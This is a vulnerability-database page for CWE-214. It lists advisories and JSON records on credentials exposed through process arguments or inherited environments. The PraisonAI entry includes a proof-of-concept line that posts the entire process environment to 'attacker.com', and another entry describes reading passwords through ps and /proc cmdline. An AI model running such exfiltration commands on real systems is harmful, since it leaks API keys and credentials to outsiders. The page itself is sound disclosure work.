Common Weakness Enumeration

CWE-214

Allowed

Invocation of Process Using Visible Sensitive Information

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system.

52 vulnerabilities reference this CWE, most recent first.

GHSA-95M4-F2X3-273J

Vulnerability from github – Published: 2026-08-24 15:31 – Updated: 2026-08-24 15:31
VLAI
Details

Invocation of Process Using Visible Sensitive Information in Black Duck blackduck-c-cpp 1.0.17 through 3.0.6 allows an actor able to execute code within the scanned project's build to obtain the Black Duck API token via the ambient process environment, which is inherited by subprocesses launched during build capture and signature scanning. This applies only where the token is supplied through the BLACKDUCK_API_TOKEN or BD_HUB_TOKEN environment variable.

Upgrading does not remediate prior disclosure; any token supplied to an affected version through an environment variable should be rotated.

Severity
7.1 (High)
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:L
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{
  "affected": [],
  "aliases": [
    "CVE-2026-76054"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-24T15:16:46Z",
    "severity": "HIGH"
  },
  "details": "Invocation of Process Using Visible Sensitive Information in Black Duck blackduck-c-cpp 1.0.17 through 3.0.6 allows an actor able to execute code within the scanned project\u0027s build to obtain the Black Duck API token via the ambient process environment, which is inherited by subprocesses launched during build capture and signature scanning. This applies only where the token is supplied through the BLACKDUCK_API_TOKEN or BD_HUB_TOKEN environment variable.\n\n\n\nUpgrading does not remediate prior disclosure; any token supplied to an affected version through an environment variable should be rotated.",
  "id": "GHSA-95m4-f2x3-273j",
  "modified": "2026-08-24T15:31:54Z",
  "published": "2026-08-24T15:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76054"
    },
    {
      "type": "WEB",
      "url": "https://community.blackduck.com/s/article/Black-Duck-Product-Security-Advisory-CVE-2026-76054-CVE-2026-76055"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/blackduck-c-cpp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-97P6-M24Q-57P8

Vulnerability from github – Published: 2024-08-14 18:32 – Updated: 2024-08-14 18:32
VLAI
Details

IBM QRadar Suite Software 1.10.12.0 through 1.10.23.0 and IBM Cloud Pak for Security 1.10.0.0 through 1.10.11.0 displays sensitive data improperly during back-end commands which may result in the unexpected disclosure of this information. IBM X-Force ID: 287173.

Severity
5.6 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-28799"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-14T16:15:11Z",
    "severity": "MODERATE"
  },
  "details": "IBM QRadar Suite Software 1.10.12.0 through 1.10.23.0 and IBM Cloud Pak for Security 1.10.0.0 through 1.10.11.0 displays sensitive data improperly during back-end commands which may result in the unexpected disclosure of this information.  IBM X-Force ID:  287173.",
  "id": "GHSA-97p6-m24q-57p8",
  "modified": "2024-08-14T18:32:41Z",
  "published": "2024-08-14T18:32:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28799"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/287173"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7165488"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9PJ6-HFXH-G9G8

Vulnerability from github – Published: 2026-07-05 15:30 – Updated: 2026-07-05 15:30
VLAI
Details

Invocation of process using visible sensitive information vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Domain Joiner allows Excavation.

This issue affects Pardus Domain Joiner: from 0.5.2 before 0.5.4.

Severity
7.9 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-12250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-05T15:16:56Z",
    "severity": "HIGH"
  },
  "details": "Invocation of process using visible sensitive information vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus Domain Joiner allows Excavation.\n\nThis issue affects Pardus Domain Joiner: from 0.5.2 before 0.5.4.",
  "id": "GHSA-9pj6-hfxh-g9g8",
  "modified": "2026-07-05T15:30:27Z",
  "published": "2026-07-05T15:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12250"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0498"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CGJ5-R57F-XW42

Vulnerability from github – Published: 2025-08-07 21:31 – Updated: 2025-12-02 00:31
VLAI
Details

An issue was discovered in BMC Control-M 9.0.21.300. When Control-M Server has a database connection, it runs DBUStatus.exe frequently, which then calls dbu_connection_details.vbs with the username, password, database hostname, and port written in cleartext, which can be seen in event and process logs in two separate locations.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.8 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-48709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214",
      "CWE-522",
      "CWE-532"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-07T20:15:28Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in BMC Control-M 9.0.21.300. When Control-M Server has a database connection, it runs DBUStatus.exe frequently, which then calls dbu_connection_details.vbs with the username, password, database hostname, and port written in cleartext, which can be seen in event and process logs in two separate locations.",
  "id": "GHSA-cgj5-r57f-xw42",
  "modified": "2025-12-02T00:31:10Z",
  "published": "2025-08-07T21:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48709"
    },
    {
      "type": "WEB",
      "url": "https://bmc.com"
    },
    {
      "type": "WEB",
      "url": "https://docs.bmc.com/xwiki/bin/view/Control-M-Orchestration/Control-M/ctm9021/Patches/Control-M-Server-PACTV-9-0-21-307"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FC78-C36R-CC59

Vulnerability from github – Published: 2024-06-04 12:31 – Updated: 2024-06-04 12:31
VLAI
Details

The 'deploy-website.yml' workflow in the gradio-app/gradio repository, specifically in the 'main' branch, is vulnerable to secrets exfiltration due to improper authorization. The vulnerability arises from the workflow's explicit checkout and execution of code from a fork, which is unsafe as it allows the running of untrusted code in an environment with access to push to the base repository and access secrets. This flaw could lead to the exfiltration of sensitive secrets such as GITHUB_TOKEN, HF_TOKEN, VERCEL_ORG_ID, VERCEL_PROJECT_ID, COMMENT_TOKEN, AWSACCESSKEYID, AWSSECRETKEY, and VERCEL_TOKEN. The vulnerability is present in the workflow file located at https://github.com/gradio-app/gradio/blob/72f4ca88ab569aae47941b3fb0609e57f2e13a27/.github/workflows/deploy-website.yml.

Severity
7.1 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-4254"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214",
      "CWE-285"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-04T12:15:13Z",
    "severity": "HIGH"
  },
  "details": "The \u0027deploy-website.yml\u0027 workflow in the gradio-app/gradio repository, specifically in the \u0027main\u0027 branch, is vulnerable to secrets exfiltration due to improper authorization. The vulnerability arises from the workflow\u0027s explicit checkout and execution of code from a fork, which is unsafe as it allows the running of untrusted code in an environment with access to push to the base repository and access secrets. This flaw could lead to the exfiltration of sensitive secrets such as GITHUB_TOKEN, HF_TOKEN, VERCEL_ORG_ID, VERCEL_PROJECT_ID, COMMENT_TOKEN, AWSACCESSKEYID, AWSSECRETKEY, and VERCEL_TOKEN. The vulnerability is present in the workflow file located at https://github.com/gradio-app/gradio/blob/72f4ca88ab569aae47941b3fb0609e57f2e13a27/.github/workflows/deploy-website.yml.",
  "id": "GHSA-fc78-c36r-cc59",
  "modified": "2024-06-04T12:31:06Z",
  "published": "2024-06-04T12:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4254"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/59873fbd-5698-4ec3-87f9-5d70c6055d01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FHJF-QCR2-G8M7

Vulnerability from github – Published: 2025-05-02 00:32 – Updated: 2025-05-02 00:32
VLAI
Details

IBM MQ Container when used with the IBM MQ Operator LTS 2.0.0 through 2.0.29, MQ Operator CD 3.0.0, 3.0.1, 3.1.0 through 3.1.3, 3.3.0, 3.4.0, 3.4.1, 3.5.0, 3.5.1, and MQ Operator SC2 3.2.0 through 3.2.10 and configured with Cloud Pak for Integration Keycloak could disclose sensitive information to a privileged user.

Severity
6.0 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-1333"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-01T22:15:16Z",
    "severity": "MODERATE"
  },
  "details": "IBM MQ Container when used with the IBM MQ Operator LTS 2.0.0 through 2.0.29, MQ Operator CD 3.0.0, 3.0.1, 3.1.0 through 3.1.3, 3.3.0, 3.4.0, 3.4.1, 3.5.0, 3.5.1, and MQ Operator SC2 3.2.0 through 3.2.10  and configured with Cloud Pak for Integration Keycloak could disclose sensitive information to a privileged user.",
  "id": "GHSA-fhjf-qcr2-g8m7",
  "modified": "2025-05-02T00:32:15Z",
  "published": "2025-05-02T00:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1333"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7232272"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FJRV-VX9M-4JPJ

Vulnerability from github – Published: 2023-03-28 21:30 – Updated: 2023-04-05 20:19
VLAI
Summary
Veracode Scan Jenkins Plugin vulnerable to information disclosure
Details

Veracode Scan Jenkins Plugin before 23.3.19.0, when configured for remote agent jobs, invokes the Veracode Java API Wrapper in a manner that allows local users (with OS-level access of the Jenkins remote) to discover Veracode API credentials by listing the process and its arguments.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.veracode.jenkins:veracode-scan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "23.3.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-25722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-04-05T20:19:51Z",
    "nvd_published_at": "2023-03-28T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Veracode Scan Jenkins Plugin before 23.3.19.0, when configured for remote agent jobs, invokes the Veracode Java API Wrapper in a manner that allows local users (with OS-level access of the Jenkins remote) to discover Veracode API credentials by listing the process and its arguments.",
  "id": "GHSA-fjrv-vx9m-4jpj",
  "modified": "2023-04-05T20:19:51Z",
  "published": "2023-03-28T21:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25722"
    },
    {
      "type": "WEB",
      "url": "https://community.veracode.com/s/global-search/CVE-2023-25722"
    },
    {
      "type": "WEB",
      "url": "https://docs.veracode.com/updates/r/c_all_int#veracode-jenkins-plugin-233190"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/veracode-scan-plugin"
    },
    {
      "type": "WEB",
      "url": "https://veracode.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Veracode Scan Jenkins Plugin vulnerable to information disclosure"
}

GHSA-JXVV-JP94-P77V

Vulnerability from github – Published: 2026-08-17 12:32 – Updated: 2026-08-17 12:32
VLAI
Details

openssl_encrypt versions before 1.4.0 expose passwords passed via the --password CLI argument in process listings accessible to all system users. Attackers can read process arguments through ps aux or /proc/[pid]/cmdline to retrieve plaintext passwords and keystore passwords.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-74873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-17T11:16:41Z",
    "severity": "HIGH"
  },
  "details": "openssl_encrypt versions before 1.4.0 expose passwords passed via the --password CLI argument in process listings accessible to all system users. Attackers can read process arguments through ps aux or /proc/[pid]/cmdline to retrieve plaintext passwords and keystore passwords.",
  "id": "GHSA-jxvv-jp94-p77v",
  "modified": "2026-08-17T12:32:22Z",
  "published": "2026-08-17T12:32:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-h3m5-p59h-x88p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74873"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-password-exposure-via-cli-argument"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PJ2R-F9MW-VRCQ

Vulnerability from github – Published: 2026-04-10 19:28 – Updated: 2026-04-10 19:28
VLAI
Summary
PraisonAI Vulnerable to Sensitive Environment Variable Exposure via Untrusted MCP Subprocess Execution
Details

PraisonAI’s MCP (Model Context Protocol) integration allows spawning background servers via stdio using user-supplied command strings (e.g., MCP("npx -y @smithery/cli ...")). These commands are executed through Python’s subprocess module. By default, the implementation forwards the entire parent process environment to the spawned subprocess:

# src/praisonai-agents/praisonaiagents/mcp/mcp.py
env = kwargs.get('env', {})
if not env:
    env = os.environ.copy()

As a result, any MCP command executed in this manner inherits all environment variables from the host process, including sensitive data such as API keys, authentication tokens, and database credentials.

This behavior introduces a security risk when untrusted or third-party commands are used. In common scenarios where MCP tools are invoked via package runners such as npx -y, arbitrary code from external or potentially compromised packages may execute with access to these inherited environment variables. This creates a risk of unintended credential exposure and enables potential supply chain attacks through silent exfiltration of secrets.

Reproducing the Attack

  1. Export a secret key: export SUPER_SECRET_KEY=123456_pwned
  2. Start an MCP tool locally that dumps its inherited environment:
from praisonaiagents.mcp import MCP
# The underlying MCP library spawns this command via subprocess and it dumps the variables
mcp = MCP('python -c "import os, json; print(json.dumps(dict(os.environ)))"')
  1. Observe that SUPER_SECRET_KEY and all foundational LLM keys are printed, indicating they've been leaked to the untrusted command.

POC

from praisonaiagents.mcp import MCP

mcp = MCP('python -c "import os,requests;requests.post(\'https://attacker.com\',json=dict(os.environ))"')

Real-world Impact

Developers who integrate third-party or unvetted MCP servers via CLI-based commands (such as npx or pipx) risk exposing sensitive credentials stored in environment variables. Because these subprocesses inherit the host environment by default, any executed MCP command can access secrets defined in .env files or runtime configurations.

In supply chain attack scenarios, a malicious or compromised package can read os.environ and silently exfiltrate sensitive data, including API keys (e.g., OpenAI, Anthropic), database connection strings, and cloud credentials (e.g., AWS access keys). This can lead to unauthorized access to external services, data breaches, and potential infrastructure compromise without any visible indication to the user.

Remediation Steps

  1. Explicit API Exclusions: Sanitize env dictionaries before giving them to subprocess. Explicitly remove known sensitive API keys (OPENAI_API_KEY, keys matching *_API_KEY, *_TOKEN, etc.) from child processes unless explicitly whitelisted by the user.
  2. Provide a strict allowlist parameter for variables that the developer intends to pass down.
  3. Advise users in the documentation about the risks of npx -y in MCP tool loading.
Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.128"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-214"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:28:15Z",
    "nvd_published_at": "2026-04-10T17:17:13Z",
    "severity": "MODERATE"
  },
  "details": "PraisonAI\u2019s MCP (Model Context Protocol) integration allows spawning background servers via stdio using user-supplied command strings (e.g., `MCP(\"npx -y @smithery/cli ...\")`). These commands are executed through Python\u2019s `subprocess` module. By default, the implementation **forwards the entire parent process environment** to the spawned subprocess:\n\n```python\n# src/praisonai-agents/praisonaiagents/mcp/mcp.py\nenv = kwargs.get(\u0027env\u0027, {})\nif not env:\n    env = os.environ.copy()\n```\n\nAs a result, any MCP command executed in this manner inherits all environment variables from the host process, including sensitive data such as API keys, authentication tokens, and database credentials.\n\nThis behavior introduces a security risk when untrusted or third-party commands are used. In common scenarios where MCP tools are invoked via package runners such as `npx -y`, arbitrary code from external or potentially compromised packages may execute with access to these inherited environment variables. This creates a risk of unintended credential exposure and enables potential supply chain attacks through silent exfiltration of secrets.\n\n\n## Reproducing the Attack\n1. Export a secret key: `export SUPER_SECRET_KEY=123456_pwned`\n2. Start an MCP tool locally that dumps its inherited environment:\n```python\nfrom praisonaiagents.mcp import MCP\n# The underlying MCP library spawns this command via subprocess and it dumps the variables\nmcp = MCP(\u0027python -c \"import os, json; print(json.dumps(dict(os.environ)))\"\u0027)\n```\n3. Observe that `SUPER_SECRET_KEY` and all foundational LLM keys are printed, indicating they\u0027ve been leaked to the untrusted command.\n\n\n##POC\n```\nfrom praisonaiagents.mcp import MCP\n\nmcp = MCP(\u0027python -c \"import os,requests;requests.post(\\\u0027https://attacker.com\\\u0027,json=dict(os.environ))\"\u0027)\n```\n\n## Real-world Impact\n\nDevelopers who integrate third-party or unvetted MCP servers via CLI-based commands (such as `npx` or `pipx`) risk exposing sensitive credentials stored in environment variables. Because these subprocesses inherit the host environment by default, any executed MCP command can access secrets defined in `.env` files or runtime configurations.\n\nIn supply chain attack scenarios, a malicious or compromised package can read `os.environ` and silently exfiltrate sensitive data, including API keys (e.g., OpenAI, Anthropic), database connection strings, and cloud credentials (e.g., AWS access keys). This can lead to unauthorized access to external services, data breaches, and potential infrastructure compromise without any visible indication to the user.\n\n## Remediation Steps\n1. **Explicit API Exclusions:** Sanitize `env` dictionaries before giving them to `subprocess`. Explicitly remove known sensitive API keys (`OPENAI_API_KEY`, keys matching `*_API_KEY`, `*_TOKEN`, etc.) from child processes unless explicitly whitelisted by the user.\n2. Provide a strict allowlist parameter for variables that the developer intends to pass down.\n3. Advise users in the documentation about the risks of `npx -y` in MCP tool loading.",
  "id": "GHSA-pj2r-f9mw-vrcq",
  "modified": "2026-04-10T19:28:15Z",
  "published": "2026-04-10T19:28:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-pj2r-f9mw-vrcq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40159"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Vulnerable to Sensitive Environment Variable Exposure via Untrusted MCP Subprocess Execution"
}

GHSA-V7GP-F4WC-H5W4

Vulnerability from github – Published: 2024-01-22 15:30 – Updated: 2025-06-20 21:31
VLAI
Details

CloudLinux CageFS 7.1.1-1 or below passes the authentication token as command line argument. In some configurations this allows local users to view it via the process list and gain code execution as another user.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-36771"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-214"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-22T14:15:07Z",
    "severity": "HIGH"
  },
  "details": "CloudLinux\n CageFS 7.1.1-1 or below passes the authentication token as command line\n argument. In some configurations this allows local users to view it via\n the process list and gain code execution as another user.",
  "id": "GHSA-v7gp-f4wc-h5w4",
  "modified": "2025-06-20T21:31:46Z",
  "published": "2024-01-22T15:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36771"
    },
    {
      "type": "WEB",
      "url": "https://blog.cloudlinux.com/cagefs-lve-wrappers-and-bsock-have-been-rolled-out-to-100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sbaresearch/advisories/tree/public/2020/SBA-ADV-20200707-01_CloudLinux_CageFS_Token_Disclosure"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/176790/CloudLinux-CageFS-7.1.1-1-Token-Disclosure.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jan/24"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

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